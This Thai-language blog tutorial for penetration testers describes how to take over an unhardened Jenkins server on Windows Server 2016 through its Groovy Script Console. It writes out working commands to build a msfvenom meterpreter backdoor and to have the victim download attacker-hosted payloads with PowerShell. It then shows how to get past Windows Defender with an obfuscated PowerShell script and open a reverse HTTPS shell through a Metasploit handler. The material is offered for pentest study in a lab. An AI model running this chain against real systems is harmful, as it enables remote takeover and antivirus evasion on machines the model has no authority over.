บทนำ (Overview) :
ในปัจจุบันผู้ดูแลระบบ IT มีความตื่นตัวในด้าน security มากขึ้น จึงจะพบเห็นได้ว่าหลายๆองค์กรมักจะมีการจัดซื้อ Endpoint Security หรือที่เราๆเรียกกันว่า Anti-virus เพื่อนำมาติดตั้งและทำ Endpoint Controlทั้งในส่วนของ client และ server กันอย่างแพร่หลาย เพื่อป้องกันภัยคุกคามที่มีมากขึ้นในทุกๆวัน และป้องกันการระบาดจาก malware signature ที่พบเจอกันบนโลกตามที่เป็นข่าวอยู่บ่อยๆ
ทำให้ในบางที่ ที่มีการว่าจ้าง outsource มาทำ pentest ภายในองค์กร หรือแม้กระทั่งการทำ internal pentest เองก็ตาม แม้ว่าผู้ทดสอบเจาะระบบ (เพื่อให้ง่ายต่อการสื่อสารและเข้าใจตรงกัน ต่อจากนี้ ขออนุญาตเรียกว่า pentester) จะสามารถโจมตีได้ในระดับหนึ่งแล้ว กลับไม่สามารถเรียก reverse shell หรือ call back กลับมาหาเครื่อง pentester เพื่อดำเนินการในลำดับต่อไปได้
ผู้เขียนจึงต้องการยกตัวอย่างวิธีการในการเจาะระบบเบื้องต้น เพื่อหลีกเลี่ยงการตรวจจับของ Anti-virus บางส่วนมาให้อ่านกัน เพื่อใช้เป็นกรณีศึกษาและนำไปใช้ต่อได้สำหรับ pentester ต่อไปครับ
บทความโดย
Vanitas
Cyber Security Researcher
Scenario ที่ใช้ในการทดสอบ:
- เครื่องเหยื่อ (Victim) มีการติดตั้ง Apache Tomcat และใช้งาน JenkinsServer ซึ่งเป็น Continuous Integration (CI) ยอดฮิต บน Windows Server 2016โดยมี Windows Defender ที่เป็น built-in anti-virus มากับระบบปฏิบัติการ
- Jenkins Server ดังกล่าว ไม่ได้รับการ hardening ไว้ดีเท่าที่ควร ทำให้ผู้โจมตี (Attacker) สามารถเข้าถึงหน้าเว็บ page ที่สามารถรัน Groovy Script ได้
- Pentester จะโจมตีด้วย Command Injection ผ่าน Groovy Script โดยมีจุดประสงค์เพื่อทำ reverse shell กลับมายังเครื่องของ pentester เอง โดยที่ Anti-virus ที่นำมาทดสอบไม่สามารถตรวจจับได้
อุปกรณ์/product ที่ใช้ในการทดสอบ:
- Windows Server 2016 (Assigned IP : 192.168.214.150) ที่มีการลง software ดังต่อไปนี้
- Enable : Windows Defender
- Java Runtime Environment 1.8+
- Apache Tomcat 8+
- Jenkins CI Application (.war file)
- Kali-Linux หรือ Linux Server ทั่วไปที่มีการลง Metasploit Framework เป็นอย่างน้อย (Assigned IP : 192.168.214.142)
ขั้นตอนการทดสอบ (Steps):
- ดำเนินการ update virus definition บนเครื่องเหยื่อที่นำมาทดสอบหรือมักจะเรียกในศัพท์ของ Anti-virus softwareว่า Signature ให้เป็นversion ปัจจุบัน
- ผู้โจมตี (Attacker) พบ Jenkins Server page และสามารถเข้าถึง Groovy Script Console ผ่านหน้าเว็บได้ด้วยลำดับการเข้าถึง ดังรูป
- ทดสอบทำ Command Injection ด้วย Groovy Script ได้จริง ดังรูปจะพบว่าเครื่องเหยื่อเป็นระบบปฏิบัติการ Windows โดยมีการใช้งาน Jenkins Server ด้วย Username : jenkinsadm จากขั้นตอนนี้ทำให้ผู้โจมตีมั่นใจได้แล้วว่ามีแนวโน้มสามารถทำ Remote Code Execution เพื่อควบคุมเครื่องเหยื่อในเบื้องต้นได้ (แนวทางปฏิบัติมักเรียกว่า Potential Exploit) เนื่องจากสามารถเรียก command พื้นฐานบนระบบปฏิบัติการได้
def process = "cmd.exe /c whoami".execute() println "${process.text}"
- โดยหากจะสำรวจต่อไปอีกขั้นหนึ่ง โดยลองให้ execute ด้วย command : systeminfo จะได้ข้อมูลว่าเครื่องเหยื่อดังกล่าวเป็น x86 (32 bits architecture) หรือ x64 (64 bits architecture) ด้วย ซึ่งจะมีประโยชน์ในการเรียก Payload ในภายหลัง
- โดยปกติผู้โจมตีก็มักจะสร้างreverse shell backdoor รอไว้ เพื่อส่งไปยังเครื่องเหยื่อให้ call back กลับมาเพื่อควบคุมเครื่องดังนี้
- ใช้ command ดังนี้เพื่อสร้างbackdoor สำหรับ Windows OS (.exe,.bat,.ps1) แล้วแต่ต้องการ ในที่นี้เลือกเป็น .exe ตามปกติ
msfvenom -p windows/meterpreter/reverse_tcp LHOST=[Attacker IP] LPORT=[Attacker Listener Port] -f exe > [Filename].exe
- ใช้ Python Web Server ขึ้นมาเพื่อให้เครื่องเหยื่อสามารถส่ง command มา download backdoor file ไปวางบนเครื่องเหยื่อด้วย command ดังนี้
def process = "cmd.exe /c powershell.exe \"(New-Object System.Net.WebClient).DownloadFile('${URL}/{File}', '{outputfile}')\"".execute() println "${process.text}"
- หลังจากสั่งให้ powershell มา download backdoor file จาก C&C Server ของผู้โจมตีแล้ว (Callback มายัง python http server) แล้วสั่งให้ไป List file ใน home path ดูผ่าน Groovy Script ดังรูป จะพบว่ามีไฟล์ backdoor ไปวางแล้ว
- ซึ่งหลังจากนี้จะทำให้งานของผู้โจมตียากขึ้นแล้ว เนื่องจาก reverse shell backdoor ที่ถูกวางนั้น จะถูก Windows Defender ตรวจจับได้ และทำการ disinfected ออกไปจากเครื่อง โดยถ้าลอง List file อีกรอบ จะพบความแตกต่างว่า backdoor file นั้นหายไปจาก home path เดิมของ Jenkins Server
- หากเรากลับไปดูบนเครื่องเหยื่อ จะพบว่า Windows Defender สามารถตรวจจับ backdoor ดังกล่าวได้จาก Signature Base ที่ทำการ update ไว้นั่นเอง
- ลองตรวจสอบด้วย virustotal จะพบว่า meterpreter backdoor สามารถตรวจจับได้ด้วย Anti-virus หลายๆ product อยู่แล้ว
- ใช้ command ดังนี้เพื่อสร้างbackdoor สำหรับ Windows OS (.exe,.bat,.ps1) แล้วแต่ต้องการ ในที่นี้เลือกเป็น .exe ตามปกติ
- จากขั้นตอนที่ 5 ผู้โจมตีต้องเปลี่ยนไปใช้วิธีอื่นที่ทำให้ Bypass Anti-virus บนเครื่องจึงจะสามารถบรรลุผลได้ ซึ่งแนะนำให้ใช้ PowerSploit Framework ที่มีการดัดแปลงให้ใช้งานได้กับ ระบบปฏิบัติการ Windows สำหรับ version ใหม่ๆ สามารถ download ได้จาก Github ดัง command นี้
wget https://raw.githubusercontent.com/0xdea/tactical-exploitation/master/letmein.ps1
- ซึ่ง Framework นี้หลักๆจะเป็น Powershell Module ที่ไปจัดการเพื่อสั่ง execute command หลายๆmodule บนเครื่องเหยื่อได้โดยหลีกเลี่ยงการตรวจจับ (obfuscate)แต่มีเงื่อนไขว่าเครื่องเหยื่อปลายทางต้องสามารถใช้งาน powershellได้ ซึ่งกรณีนี้ใช้งานเป็น Windows Server 2016 ที่มี powershell built-in มาบนระบบปฏิบัติการอยู่แล้ว ดังนั้นใน case นี้เราจะ focus ไปที่การใช้งาน Base64 shellcode เพื่อทำ obfuscate ไม่ให้ Anti-virus บนเครื่องเหยื่อจับได้เท่านั้น
- จากจุดนี้ เราอาจจะลองทดสอบ payload ดังกล่าวดูก่อนได้ ว่า Anti-virus ที่เราทดสอบเจาะระบบอยู่นั้น สามารถตรวจจับได้หรือไม่ โดยการ upload ขึ้น virustotalจากรูปพบว่าตรวจจับได้น้อยมากด้วย signature
- จากข้อมูลเครื่องเหยื่อที่ได้จากขั้นตอนที่ 4 เราจึงสร้าง Listener บนเครื่องผู้โจมตี ให้ใช้ Metasploit Console โดยเลือกpayload เป็น multi-handlerer รองรับสำหรับการโจมตี Windows Server 2016 ที่เป็น 64 bits architecturer ไว้ ดัง command นี้
msfconsole use exploit/multi/handler set PAYLOAD windows/x64/meterpreter/reverse_https set LHOST [Attacker IP] set LPORT [Attacker Listener Port] run หรือ exploit ก็ได้
- สั่ง Command Injection ให้เครื่องเหยื่อdownload PowerShell script ผ่าน Groovy Script Console ดัง command นี้
def process = "cmd.exe /c powershell.exe \"(New-Object System.Net.WebClient).DownloadFile('${URL}/{Obfuscate-Filename}.ps1', {Obfuscate-Filename}.ps1')\"".execute() println "${process.text}"
- ซึ่งคราวนี้จะพบว่า PowerShell script ที่นำไปสร้างไว้เพื่อรอเรียก callback กลับมา ไม่โดนตรวจจับได้จาก Windows Defender ที่เปิดใช้งานอยู่
- สั่ง Command Injection ให้เครื่องเหยื่อทำการ execute PowerShell script ที่ download ไปจากขั้นตอนที่ 8 ผ่าน Groovy Script Consoleดัง command นี้
def process = "cmd.exe /c powershell -ExecutionPolicy Bypass -File .\\ {Obfuscate-Filename}.ps1 -URL https://{Attacker IP}:{Attacker Listener Port}".execute() println "${process.text}"
- คราวนี้จะพบว่าผู้โจมตีได้ reverse shell ผ่าน httpsmeterpreter session กลับมาเรียบร้อยแล้ว
- ทดสอบสั่ง execute shell เพื่อเรียก Windows CMD พบว่าสามารถ Remote Code Execution เข้าควบคุมเครื่องดังกล่าวได้อย่างสมบูรณ์ โดยที่ Windows Defender ไม่สามารถป้องกันได้เลย
- ในขั้นตอนนี้หากลองใช้ Process Hacker เปิด process บนเครื่องเหยื่อดู จะพบว่ามี process ของผู้โจมตีฝัง connection ไว้จริง
ซึ่งหลังจากนี้ผู้โจมตีจะสามารถทำ Post-Exploitation ต่อได้ตามปกติแล้ว
References :
- https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter—toying-with-powersploit
- https://github.com/0xdea/tactical-exploitation
- https://github.com/PowerShellMafia/PowerSploit